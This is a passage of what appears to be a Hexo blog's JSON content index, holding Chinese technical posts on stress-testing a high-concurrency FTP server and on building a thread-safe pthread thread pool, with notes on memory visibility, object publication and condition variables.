class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">StressTest.TestCnt=10</span><br><span class=\"line\">StressTest.MaxCmdConnectionCnt=1000</span><br><span class=\"line\">StressTest.MaxThreadCnt=1024</span><br><span class=\"line\"># the time(millisecond) to hand on the connection</span><br><span class=\"line\">StressTest.HangTime=1000</span><br><span class=\"line\"></span><br><span class=\"line\"># 你运行FTPServer的host的地址</span><br><span class=\"line\">Tester.TesterServerAddress=10.243.6.109</span><br><span class=\"line\"></span><br><span class=\"line\"># 你运行Tester的host地址</span><br><span class=\"line\"># 必须保证运行server的host与运行tester的host是可以互通的</span><br><span class=\"line\"># 包括，tester可以主动链接server，server也可以主动链接tester</span><br><span class=\"line\">Tester.YourselfAddress=10.243.6.43</span><br><span class=\"line\"></span><br><span class=\"line\">Tester.ServerPort=8001</span><br><span class=\"line\"># 系统上账户的用户名</span><br><span class=\"line\">Tester.UserName=</span><br><span class=\"line\"># 系统上账户的密码</span><br><span class=\"line\">Tester.Password=</span><br><span class=\"line\"># 这些是以逗号分隔的目录列表 </span><br><span class=\"line\"># 必须是绝对路径</span><br><span class=\"line\"># 这些目录数量应该>=20个，越多越好，太少的话，测试会很慢</span><br><span class=\"line\"># 因为多个用户访问少数几个目录会很慢</span><br><span class=\"line\"># 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录</span><br><span class=\"line\"># 如果运行在同一台机子上，测试程序会创建这些目录</span><br><span class=\"line\">Tester.ListTestDir=/tmp/testDir_1,/tmp/testDir_2,/tmp/testDir_3,/tmp/testDir_4,/tmp/testDir_5,/tmp/testDir_6,/tmp/testDir_7,/tmp/testDir_8,/tmp/testDir_9,/tmp/testDir_10,/tmp/testDir_11,/tmp/testDir_12,/tmp/testDir_13,/tmp/testDir_14,/tmp/testDir_15,/tmp/testDir_16,/tmp/testDir_17</span><br><span class=\"line\"># 这个目录必须是绝对路径</span><br><span class=\"line\"># 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录</span><br><span class=\"line\"># 如果运行在同一台机子上，测试程序会创建这些目录</span><br><span class=\"line\">Tester.StorTestDir=/tmp/FTPSeverTesterStorDirs____23233dd22/</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n</li>\n</ul>\n<h4 id=\"压测结果\"><a href=\"#压测结果\" class=\"headerlink\" title=\"压测结果\"></a>压测结果</h4><ul>\n<li>笔者的测试与server都跑在同一台机器上</li>\n<li>笔者在自己的机器上(Intel i7-8550U, 16G内存，没有SSD)，<code>StressTest.MaxCmdConnectionCnt</code>设为<code>10240</code>及以下时，测试可以顺利完成。并且在测试过程使用linux的<code>ftp</code>命令与server通信，是比较流畅的</li>\n<li><p>在如下设置测试参数后</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">StressTest.MaxCmdConnectionCnt=10000</span><br><span class=\"line\">StressTest.MaxThreadCnt=4024</span><br><span class=\"line\">StressTest.HangTime=0</span><br></pre></td></tr></table></figure>\n<p> <code>sudo watch -n 0.5 "netstat -anp | grep -i <PID> | grep -i "est" | wc -l "</code>可以看到数目是3K到4K之间波动，并且测试期间手动与服务器通信是比较流畅的</p>\n</li>\n</ul>\n<h3 id=\"出现的问题\"><a href=\"#出现的问题\" class=\"headerlink\" title=\"出现的问题\"></a>出现的问题</h3><ul>\n<li><p>测试程序开50k个链接连server进行操作（50k个测试是依次提交给线程池，边提交线程池边运行），server需要openListenFd，由OS指定端口，但是在测试程序成功进行了15k多一点的测试后，server的这个openListenFd失败，errno是<code>Address already in use</code>。</p>\n<p><strong>我猜测</strong>，可能是很多端口处于<code>TIME_WAIT</code>状态，虽然打开的socket设置了<code>SO_REUSEADDR</code>，可以绑定这些TIME_WAIT链接的端口，但是刚好，对端也是上一次那个链接的端口，这是TCP禁止的——TCP允许复用处于TIME_WAIT的端口，但是不允许新的链接与TIME_WAIT的链接的(serverIp, serverPort, serverIp, serverPort)相同（其实也不是一定禁止，TCP规范是允许有例外），所以就提示<code>Address already in use</code></p>\n</li>\n<li><p>server listen的端口的backlog设太小（20），测试程序开的链接数一多，就有一些链接三次握手成功，但是hang住在读取welcome信息那里，详见笔者的另一篇博文<a href=\"https://h-zex.github.io/2019/03/19/%E9%AB%98%E5%B9%B6%E5%8F%91%E6%83%85%E5%86%B5%E4%B8%8Bbacklog%E8%BF%87%E4%BD%8E%E5%87%BA%E7%8E%B0%E7%9A%84%E9%97%AE%E9%A2%98/\">高并发情况下backlog过低出现的问题</a></p>\n</li>\n</ul>\n<h3 id=\"缺点\"><a href=\"#缺点\" class=\"headerlink\" title=\"缺点\"></a>缺点</h3><ul>\n<li>因为使用是线程池，并且似乎一个线程不能设置另一个线程的uid（欢迎指正！），所以无法利用OS的机制实现权限控制</li>\n<li>只有单个线程accept，可以通过linux内核3.9的一个特性<code>SO_REUSEPORT</code>来实现多线程accept，并且没有惊群、负载不均衡的问题（<a href=\"https://lwn.net/Articles/542629/\" target=\"_blank\" rel=\"noopener\">The SO_REUSEPORT socket option</a>）</li>\n</ul>\n","slug":"开发一个高并发的FTP服务器","categories":[{"name":"网络编程","slug":"网络编程","permalink":"https://h-zex.github.io/categories/网络编程/"},{"name":"并发编程","slug":"网络编程/并发编程","permalink":"https://h-zex.github.io/categories/网络编程/并发编程/"}],"tags":[{"name":"高并发","slug":"高并发","permalink":"https://h-zex.github.io/tags/高并发/"},{"name":"FTP 服务器","slug":"FTP-服务器","permalink":"https://h-zex.github.io/tags/FTP-服务器/"}]},{"title":"Construct a Thread-Safe ThreadPool","date":"2019-03-20T01:58:41.000Z","path":"2019/03/20/construct-a-thread-safe-threadpool/","text":"代码 链接：https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp 测试代码链接：https://github.com/H-ZeX/FTP-Implement/blob/master/src/test/tools/ThreadPoolTest.hpp 代码依赖于项目中的基础设施，所以不能直接使用 线程安全的两个要点 原子性：一组操作要么不执行，要么完全执行 内存可见性：一个线程对于某个对象、变量的修改对于另一个线程是否可见，什么时候可见，该数据可见时其他数据的的可见情况 使用pthread时保证内存可见性 由于笔者对pthread的内存模型不熟悉、不清楚c++中的volatile语义是否编译器相关的，所以，在构造这个ThreadPool时不敢使用volatile等来实现内存可见性。而是通过加锁以充当内存屏障来实现——虽然性能上会受到影响，但是至少可以保证正确性 pthread创建线程时，传递的start_routine参数必须是static方法，这意味着，需要把ThreadPool的this指针传递过去。但是，一个严重的问题，this指针是在原线程初始化的，ThreadPool对象也是在原线程构造的，那么，如何保证新线程看到一致的、正确构造的ThreadPool对象？在java内存模型中，这是无法保证的，必须使用其他办法来保证（volatile、final、AtomicReference等）。笔者不清楚pthread是否可以保证传递过去的参数的内存可见性，虽然实验中，clang++7开-O3，测试了5k多次，在另一个线程都可以看到正确的对象，但是因为不确定这是否是编译器相关的。所以，笔者使用了一个全局mutex，充当内存屏障——每次写该变量时持有该mutex，每次读时也要持有，以保证新线程可以看到正确构造的、一致的对象 有另一个问题，mutex对象的内存可见性如何保证？按照JCIP（java concurrency in practice）的说法，即使是一个线程安全的对象，也需要被安全的发布（发布（publish）：使对象能够在当前作用域之外的代码中使用）。保护this指针的mutex是全局变量，那么我认为其可见性应该是可以保证的，因为在编译期就已经初始化完成该mutex（欢迎指正！） 1static pthread_mutex_t poolPtrAndSigToBlockMutex = PTHREAD_MUTEX_INITIALIZER; 而对于那些是类内变量（非static）的mutex，因为每次获得threadPool对象时，都是在持有保护this指针的mutex时解引用this指针，所以我认为可以保证另一个线程可以看到完整的、一致的对象（欢迎指正！） （2019.4.16更新） 在PROGRAMMING WITH POSIX THREADS的3.4，有这么一段 Pthreads provides a few basic rules about memory visibility. You can count on all implementations of the standard to follow these rules: Whatever memory values a thread can see when it calls pthread_create can also be seen by the new thread when it starts. Any data written to memory after the call to pthread_create may not necessarily be seen by the new thread, even if the write occurs before the thread starts. Whatever memory values a thread can see when it unlocks a mutex, either directly or by waiting on a condition variable, can also be seen by any thread that later locks the same mutex. Again, data written after the mutex is unlocked may not necessarily be seen by the thread that locks the mutex, even if the write occurs before the lock. Whatever memory values a thread can see when it terminates, either by cancellation, returning from its start function, or by calling pthread_exit, can also be seen by the thread that joins with the terminated thread by calling pthread_join. And, of course, data written after the thread terminates may not necessarily be seen by the thread that joins, even if the write occurs before the join. Whatever memory values a thread can see when it signals or broadcasts a condition variable can also be seen by any thread that is awakened by that signal or broadcast. And, one more time, data written after the signal or broadcast may not necessarily be seen by the thread that wakes up, even if the write occurs before it awakens. 在The Open Group Base Specifications Issue 7, 2018 edition有这么一段 4.12 Memory Synchronization Applications shall ensure that access to any memory location by more than one thread of control (threads or processes) is restricted such that no thread of control can read or modify a memory location while another thread of control may be modifying it. Such access is restricted using functions that synchronize thread execution and also synchronize memory with respect to other threads. The following functions synchronize memory(是不是就是内存屏障？) with respect to other threads: fork()pthread_barrier_wait()pthread_cond_broadcast()pthread_cond_signal()pthread_cond_timedwait()pthread_cond_wait()pthread_create()pthread_join()pthread_mutex_lock()pthread_mutex_timedlock()pthread_mutex_trylock()pthread_mutex_unlock()pthread_spin_lock()pthread_spin_trylock()pthread_spin_unlock()pthread_rwlock_rdlock()pthread_rwlock_timedrdlock()pthread_rwlock_timedwrlock()pthread_rwlock_tryrdlock()pthread_rwlock_trywrlock()pthread_rwlock_unlock()pthread_rwlock_wrlock()sem_post()sem_timedwait()sem_trywait()sem_wait()semctl()semop()wait()waitpid() this指针逸出问题 根据JCIP，逸出（escape）的含义是在对象构造完成前就发布该对象，从而另一个线程看到一个没有完全构造的对象 如果在构造函数里启动线程，那么就是典型的this指针逸出——在构造函数还没运行完前，另一个线程就已经看到了this指针，从而看到了一个没有完全构造的对象 解决方法是使用一个start函数，用户获得ThreadPool实例后，手动调用start方法，以启动工作线程 状态转换的证明 ThreadPool需要维护自己当前处于哪一个状态 1NEW, RUNNING, GRACEFUL_SHUTDOWN, IMMEDIATE_SHUTDOWN 并且保证程序中只有合法的状态转移。这需要证明。 在我的实现的线程池中，状态的转换是 123NEW->RUNNING->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWNorNEW->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN 证明是 1234567891011121314In the constructor, the state is set to NEW.In the start method, the state is set to RUNNING.In the shutdown method, the state set to GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN.proof of the state transformation safety.For any instance of this ThreadPool,the constructor run only one time,so for any instance, if it is not NEW state,it will never be NEW state.After the shutdown method is called,no other public method except destructor and getInstance can be called,so if it is shutdown state, it will always be shutdown state.Every time the state is modify, it is protected by taskQueAndStateMutex,so there is no thread safety problem. 单例模式 因为使用了全局变量mutex，所以这个类只能是单例模式 在java中，有一个DCL（double check locking），其代码如下 1234567891011private static Object instance = null;public Object getInstance() { if (instance == null) { synchronized (this) { if (instance == null) instance = new Object(); } } return instance;} 这个写法有个问题，另一个线程可能看到一个instance引用已经被初始化完成，但是对象构造函数还未完成的对象——因为内存重排序，编译器可以先初始化引用再完成构造函数的运行 因为不清楚pthread是否也会有这种问题，所以对于获得ThreadPool实例的getInstance方法，每次都要加锁，然后才检查instance指针 使用条件变量的注意事项 wait Condition变量前要检查条件是否满足，否则可能出现：条件以满足，所以生产者不再notify，然后消费者就一直hang在cond wait那里 检查条件时要使用while而不是if 123456789// 正面例子while (not satify condition) { cond.wait()}// 反面例子if(not satify condition) { cond.wait} 一个很重要的原因：某个线程正在等待，然后被唤醒，这时候，突然一个新线程（该线程之前并没有在等待该cond）进来，拿走了资源，结果醒来的线程拿不到资源，所以应该继续等。另外wiki（Spurious wakeup）上还讲了另一个原因，就是说在现代处理器上，要保证没有假醒需要较高的代价。不过，JCIP（java concurrency in practice）上虽然有打比方说“因为线路故障导致烤面包机提前响起”，但是没有明确说存在这种硬件上导致的假醒","raw":"---\ntitle: Construct a Thread-Safe ThreadPool\ndate: 2019-03-20 09:58:41\ntags:\n- 线程安全\n- 线程池\n- 原子性\n- 内存可见性\ncategories:\n- 并发编程\n---\n\n#### 代码\n\n- 链接：[https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp](https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp)\n- 测试代码链接：[https://github.com/H-ZeX/FTP-Implement/blob/master/src/test/tools/ThreadPoolTest.hpp](https://github.com/H-ZeX/FTP-Implement/blob/master/src/test/tools/ThreadPoolTest.hpp)\n- 代码依赖于项目中的基础设施，所以不能直接使用\n\n#### 线程安全的两个要点\n\n- 原子性：一组操作要么不执行，要么完全执行\n\n- 内存可见性：一个线程对于某个对象、变量的修改对于另一个线程是否可见，什么时候可见，该数据可见时其他数据的的可见情况\n\n#### 使用pthread时保证内存可见性\n\n- 由于笔者对pthread的内存模型不熟悉、不清楚c++中的`volatile`语义是否编译器相关的，所以，在构造这个ThreadPool时不敢使用`volatile`等来实现内存可见性。而是通过加锁以充当内存屏障来实现——虽然性能上会受到影响，但是至少可以保证正确性\n\n- pthread创建线程时，传递的`start_routine`参数必须是static方法，这意味着，需要把ThreadPool的`this`指针传递过去。但是，一个严重的问题，`this`指针是在原线程初始化的，ThreadPool对象也是在原线程构造的，那么，如何保证新线程看到一致的、正确构造的ThreadPool对象？在java内存模型中，这是无法保证的，必须使用其他办法来保证（`volatile`、`final`、`AtomicReference`等）。笔者不清楚pthread是否可以保证传递过去的参数的内存可见性，虽然实验中，clang++7开`-O3`，测试了5k多次，在另一个线程都可以看到正确的对象，但是因为不确定这是否是编译器相关的。所以，笔者使用了一个全局mutex，充当内存屏障——每次写该变量时持有该mutex，每次读时也要持有，以保证新线程可以看到正确构造的、一致的对象\n\n- 有另一个问题，mutex对象的内存可见性如何保证？按照JCIP（java concurrency in practice）的说法，即使是一个线程安全的对象，也需要被安全的发布（发布（publish）：使对象能够在当前作用域之外的代码中使用）。保护this指针的mutex是全局变量，那么我认为其可见性应该是可以保证的，因为在编译期就已经初始化完成该mutex（欢迎指正！）\n\n ```c\n static pthread_mutex_t poolPtrAndSigToBlockMutex = PTHREAD_MUTEX_INITIALIZER;\n ```\n\n 而对于那些是类内变量（非static）的mutex，因为每次获得threadPool对象时，都是在持有保护`this`指针的mutex时解引用`this`指针，所以我认为可以保证另一个线程可以看到完整的、一致的对象（欢迎指正！）\n\n- （2019.4.16更新）\n - 在*PROGRAMMING WITH POSIX THREADS*的3.4，有这么一段\n > Pthreads provides a few basic rules about memory visibility. You can count on all implementations of the standard to follow these rules: \n > 1. Whatever memory values a thread can see when it calls pthread_create can also be seen by the new thread when it starts. Any data written to memory after the call to pthread_create may not necessarily be seen by the new thread, even if the write occurs before the thread starts. \n > 2. Whatever memory values a thread can see when it unlocks a mutex, either directly or by waiting on a condition variable, can also be seen by any thread that later locks the same mutex. Again, data written after the mutex is unlocked may not necessarily be seen by the thread that locks the mutex, even if the write occurs before the lock. \n > 3. Whatever memory values a thread can see when it terminates, either by cancellation, returning from its start function, or by calling pthread_exit, can also be seen by the thread that joins with the terminated thread by calling pthread_join. And, of course, data written after the thread terminates may not necessarily be seen by the thread that joins, even if the write occurs before the join. \n > 4. Whatever memory values a thread can see when it signals or broadcasts a condition variable can also be seen by any thread that is awakened by that signal or broadcast. And, one more time, data written after the signal or broadcast may not necessarily be seen by the thread that wakes up, even if the write occurs before it awakens.\n - 在[The Open Group Base Specifications Issue 7, 2018 edition](http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_12)有这么一段\n > 4.12 Memory Synchronization\n >\n > Applications shall ensure that access to any memory location by more than one thread of control (threads or processes) is restricted such that no thread of control can read or modify a memory location while another thread of control may be modifying it. Such access is restricted using functions that synchronize thread execution and also synchronize memory with respect to other threads. The following functions **synchronize memory**(是不是就是内存屏障？) with respect to other threads:\n >\n > `fork()`\n > `pthread_barrier_wait()`\n > `pthread_cond_broadcast()`\n > `pthread_cond_signal()`\n > `pthread_cond_timedwait()`\n > `pthread_cond_wait()`\n > `pthread_create()`\n > `pthread_join()`\n > `pthread_mutex_lock()`\n > `pthread_mutex_timedlock()`\n > `pthread_mutex_trylock()`\n > `pthread_mutex_unlock()`\n > `pthread_spin_lock()`\n > `pthread_spin_trylock()`\n > `pthread_spin_unlock()`\n > `pthread_rwlock_rdlock()`\n > `pthread_rwlock_timedrdlock()`\n > `pthread_rwlock_timedwrlock()`\n > `pthread_rwlock_tryrdlock()`\n > `pthread_rwlock_trywrlock()`\n > `pthread_rwlock_unlock()`\n > `pthread_rwlock_wrlock()`\n > `sem_post()`\n > `sem_timedwait()`\n > `sem_trywait()`\n > `sem_wait()`\n > `semctl()`\n > `semop()`\n > `wait()`\n > `waitpid()`\n\n\n#### `this`指针逸出问题\n\n- 根据JCIP，逸出（escape）的含义是在对象构造完成前就发布该对象，从而另一个线程看到一个没有完全构造的对象\n- 如果在构造函数里启动线程，那么就是典型的`this`指针逸出——在构造函数还没运行完前，另一个线程就已经看到了`this`指针，从而看到了一个没有完全构造的对象\n- 解决方法是使用一个start函数，用户获得ThreadPool实例后，手动调用start方法，以启动工作线程\n\n#### 状态转换的证明\n\n- ThreadPool需要维护自己当前处于哪一个状态\n\n ```c++\n NEW, RUNNING, GRACEFUL_SHUTDOWN, IMMEDIATE_SHUTDOWN\n ```\n\n 并且保证程序中只有合法的状态转移。这需要证明。\n\n- 在我的实现的线程池中，状态的转换是\n\n ```\n NEW->RUNNING->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN\n or\n NEW->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN\n ```\n\n 证明是\n\n ```\n In the constructor, the state is set to NEW.\n In the start method, the state is set to RUNNING.\n In the shutdown method, the state set to GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN.\n \n proof of the state transformation safety.\n For any instance of this ThreadPool,\n the constructor run only one time,\n so for any instance, if it is not NEW state,\n it will never be NEW state.\n After the shutdown method is called,\n no other public method except destructor and getInstance can be called,\n so if it is shutdown state, it will always be shutdown state.\n Every time the state is modify, it is protected by taskQueAndStateMutex,\n so there is no thread safety problem.\n ```\n\n#### 单例模式\n\n- 因为使用了全局变量mutex，所以这个类只能是单例模式\n\n- 在java中，有一个DCL（double check locking），其代码如下\n\n ```java\n private static Object instance = null;\n \n public Object getInstance() {\n if (instance == null) {\n synchronized (this) {\n if (instance == null)\n instance = new Object();\n }\n }\n return instance;\n }\n ```\n\n 这个写法有个问题，另一个线程可能看到一个`instance`引用已经被初始化完成，但是对象构造函数还未完成的对象——因为内存重排序，编译器可以先初始化引用再完成构造函数的运行\n\n- 因为不清楚pthread是否也会有这种问题，所以对于获得ThreadPool实例的`getInstance`方法，每次都要加锁，然后才检查instance指针\n\n#### 使用条件变量的注意事项\n\n- wait Condition变量前要检查条件是否满足，否则可能出现：条件以满足，所以生产者不再notify，然后消费者就一直hang在cond wait那里\n\n- 检查条件时要使用`while`而不是`if`\n\n ```cpp\n // 正面例子\n while (not satify condition) {\n cond.wait()\n }\n \n // 反面例子\n if(not satify condition) {\n cond.wait\n }\n ```\n\n 一个很重要的原因：某个线程正在等待，然后被唤醒，这时候，突然一个新线程（该线程之前并没有在等待该cond）进来，拿走了资源，结果醒来的线程拿不到资源，所以应该继续等。另外wiki（[Spurious wakeup](https://en.wikipedia.org/wiki/Spurious_wakeup)）上还讲了另一个原因，就是说在现代处理器上，要保证没有假醒需要较高的代价。不过，JCIP（java concurrency in practice）上虽然有打比方说“因为线路故障导致烤面包机提前响起”，但是没有明确说存在这种硬件上导致的假醒\n\n","content":"<h4 id=\"代码\"><a href=\"#代码\" class=\"headerlink\" title=\"代码\"></a>代码</h4><ul>\n<li>链接：<a href=\"https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp\" target=\"_blank\" rel=\"noopener\">https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp</a></li>\n<li>测试代码链接：<a href=\"https://github.com/H-ZeX/FTP-Implement/blob/master/src/test/tools/ThreadPoolTest.hpp\" target=\"_blank\" rel=\"noopener\">https://github.com/H-ZeX/FTP-Implement/blob/master/src/test/tools/ThreadPoolTest.hpp</a></li>\n<li>代码依赖于项目中的基础设施，所以不能直接使用</li>\n</ul>\n<h4 id=\"线程安全的两个要点\"><a href=\"#线程安全的两个要点\" class=\"headerlink\" title=\"线程安全的两个要点\"></a>线程安全的两个要点</h4><ul>\n<li><p>原子性：一组操作要么不执行，要么完全执行</p>\n</li>\n<li><p>内存可见性：一个线程对于某个对象、变量的修改对于另一个线程是否可见，什么时候可见，该数据可见时其他数据的的可见情况</p>\n</li>\n</ul>\n<h4 id=\"使用pthread时保证内存可见性\"><a href=\"#使用pthread时保证内存可见性\" class=\"headerlink\" title=\"使用pthread时保证内存可见性\"></a>使用pthread时保证内存可见性</h4><ul>\n<li><p>由于笔者对pthread的内存模型不熟悉、不清楚c++中的<code>volatile</code>语义是否编译器相关的，所以，在构造这个ThreadPool时不敢使用<code>volatile</code>等来实现内存可见性。而是通过加锁以充当内存屏障来实现——虽然性能上会受到影响，但是至少可以保证正确性</p>\n</li>\n<li><p>pthread创建线程时，传递的<code>start_routine</code>参数必须是static方法，这意味着，需要把ThreadPool的<code>this</code>指针传递过去。但是，一个严重的问题，<code>this</code>指针是在原线程初始化的，ThreadPool对象也是在原线程构造的，那么，如何保证新线程看到一致的、正确构造的ThreadPool对象？在java内存模型中，这是无法保证的，必须使用其他办法来保证（<code>volatile</code>、<code>final</code>、<code>AtomicReference</code>等）。笔者不清楚pthread是否可以保证传递过去的参数的内存可见性，虽然实验中，clang++7开<code>-O3</code>，测试了5k多次，在另一个线程都可以看到正确的对象，但是因为不确定这是否是编译器相关的。所以，笔者使用了一个全局mutex，充当内存屏障——每次写该变量时持有该mutex，每次读时也要持有，以保证新线程可以看到正确构造的、一致的对象</p>\n</li>\n<li><p>有另一个问题，mutex对象的内存可见性如何保证？按照JCIP（java concurrency in practice）的说法，即使是一个线程安全的对象，也需要被安全的发布（发布（publish）：使对象能够在当前作用域之外的代码中使用）。保护this指针的mutex是全局变量，那么我认为其可见性应该是可以保证的，因为在编译期就已经初始化完成该mutex（欢迎指正！）</p>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">static</span> <span class=\"keyword\">pthread_mutex_t</span> poolPtrAndSigToBlockMutex = PTHREAD_MUTEX_INITIALIZER;</span><br></pre></td></tr></table></figure>\n<p>而对于那些是类内变量（非static）的mutex，因为每次获得threadPool对象时，都是在持有保护<code>this</code>指针的mutex时解引用<code>this</code>指针，所以我认为可以保证另一个线程可以看到完整的、一致的对象（欢迎指正！）</p>\n</li>\n<li><p>（2019.4.16更新）</p>\n<ul>\n<li>在<em>PROGRAMMING WITH POSIX THREADS</em>的3.4，有这么一段<blockquote>\n<p>Pthreads provides a few basic rules about memory visibility. You can count on all implementations of the standard to follow these rules: </p>\n<ol>\n<li>Whatever memory values a thread can see when it calls pthread_create can also be seen by the new thread when it starts. Any data written to memory after the call to pthread_create may not necessarily be seen by the new thread, even if the write occurs before the thread starts. </li>\n<li>Whatever memory values a thread can see when it unlocks a mutex, either directly or by waiting on a condition variable, can also be seen by any thread that later locks the same mutex. Again, data written after the mutex is unlocked may not necessarily be seen by the thread that locks the mutex, even if the write occurs before the lock. </li>\n<li>Whatever memory values a thread can see when it terminates, either by cancellation, returning from its start function, or by calling pthread_exit, can also be seen by the thread that joins with the terminated thread by calling pthread_join. And, of course, data written after the thread terminates may not necessarily be seen by the thread that joins, even if the write occurs before the join. </li>\n<li>Whatever memory values a thread can see when it signals or broadcasts a condition variable can also be seen by any thread that is awakened by that signal or broadcast. And, one more time, data written after the signal or broadcast may not necessarily be seen by the thread that wakes up, even if the write occurs before it awakens.</li>\n</ol>\n</blockquote>\n</li>\n<li>在<a href=\"http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_12\" target=\"_blank\" rel=\"noopener\">The Open Group Base Specifications Issue 7, 2018 edition</a>有这么一段<blockquote>\n<p>4.12 Memory Synchronization</p>\n<p>Applications shall ensure that access to any memory location by more than one thread of control (threads or processes) is restricted such that no thread of control can read or modify a memory location while another thread of control may be modifying it. Such access is restricted using functions that synchronize thread execution and also synchronize memory with respect to other threads. The following functions <strong>synchronize memory</strong>(是不是就是内存屏障？) with respect to other threads:</p>\n<p><code>fork()</code><br><code>pthread_barrier_wait()</code><br><code>pthread_cond_broadcast()</code><br><code>pthread_cond_signal()</code><br><code>pthread_cond_timedwait()</code><br><code>pthread_cond_wait()</code><br><code>pthread_create()</code><br><code>pthread_join()</code><br><code>pthread_mutex_lock()</code><br><code>pthread_mutex_timedlock()</code><br><code>pthread_mutex_trylock()</code><br><code>pthread_mutex_unlock()</code><br><code>pthread_spin_lock()</code><br><code>pthread_spin_trylock()</code><br><code>pthread_spin_unlock()</code><br><code>pthread_rwlock_rdlock()</code><br><code>pthread_rwlock_timedrdlock()</code><br><code>pthread_rwlock_timedwrlock()</code><br><code>pthread_rwlock_tryrdlock()</code><br><code>pthread_rwlock_trywrlock()</code><br><code>pthread_rwlock_unlock()</code><br><code>pthread_rwlock_wrlock()</code><br><code>sem_post()</code><br><code>sem_timedwait()</code><br><code>sem_trywait()</code><br><code>sem_wait()</code><br><code>semctl()</code><br><code>semop()</code><br><code>wait()</code><br><code>waitpid()</code></p>\n</blockquote>\n</li>\n</ul>\n</li>\n</ul>\n<h4 id=\"this指针逸出问题\"><a href=\"#this指针逸出问题\" class=\"headerlink\" title=\"this指针逸出问题\"></a><code>this</code>指针逸出问题</h4><ul>\n<li>根据JCIP，逸出（escape）的含义是在对象构造完成前就发布该对象，从而另一个线程看到一个没有完全构造的对象</li>\n<li>如果在构造函数里启动线程，那么就是典型的<code>this</code>指针逸出——在构造函数还没运行完前，另一个线程就已经看到了<code>this</code>指针，从而看到了一个没有完全构造的对象</li>\n<li>解决方法是使用一个start函数，用户获得ThreadPool实例后，手动调用start方法，以启动工作线程</li>\n</ul>\n<h4 id=\"状态转换的证明\"><a href=\"#状态转换的证明\" class=\"headerlink\" title=\"状态转换的证明\"></a>状态转换的证明</h4><ul>\n<li><p>ThreadPool需要维护自己当前处于哪一个状态</p>\n<figure class=\"highlight c++\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">NEW, RUNNING, GRACEFUL_SHUTDOWN, IMMEDIATE_SHUTDOWN</span><br></pre></td></tr></table></figure>\n<p>并且保证程序中只有合法的状态转移。这需要证明。</p>\n</li>\n<li><p>在我的实现的线程池中，状态的转换是</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">NEW->RUNNING->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN</span><br><span class=\"line\">or</span><br><span class=\"line\">NEW->GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN</span><br></pre></td></tr></table></figure>\n<p>证明是</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">In the constructor, the state is set to NEW.</span><br><span class=\"line\">In the start method, the state is set to RUNNING.</span><br><span class=\"line\">In the shutdown method, the state set to GRACEFUL_SHUTDOWN or IMMEDIATE_SHUTDOWN.</span><br><span class=\"line\"></span><br><span class=\"line\">proof of the state transformation safety.</span><br><span class=\"line\">For any instance of this ThreadPool,</span><br><span class=\"line\">the constructor run only one time,</span><br><span class=\"line\">so for any instance, if it is not NEW state,</span><br><span class=\"line\">it will never be NEW state.</span><br><span class=\"line\">After the shutdown method is called,</span><br><span class=\"line\">no other public method except destructor and getInstance can be called,</span><br><span class=\"line\">so if it is shutdown state, it will always be shutdown state.</span><br><span class=\"line\">Every time the state is modify, it is protected by taskQueAndStateMutex,</span><br><span class=\"line\">so there is no thread safety problem.</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n<h4 id=\"单例模式\"><a href=\"#单例模式\" class=\"headerlink\" title=\"单例模式\"></a>单例模式</h4><ul>\n<li><p>因为使用了全局变量mutex，所以这个类只能是单例模式</p>\n</li>\n<li><p>在java中，有一个DCL（double check locking），其代码如下</p>\n<figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span 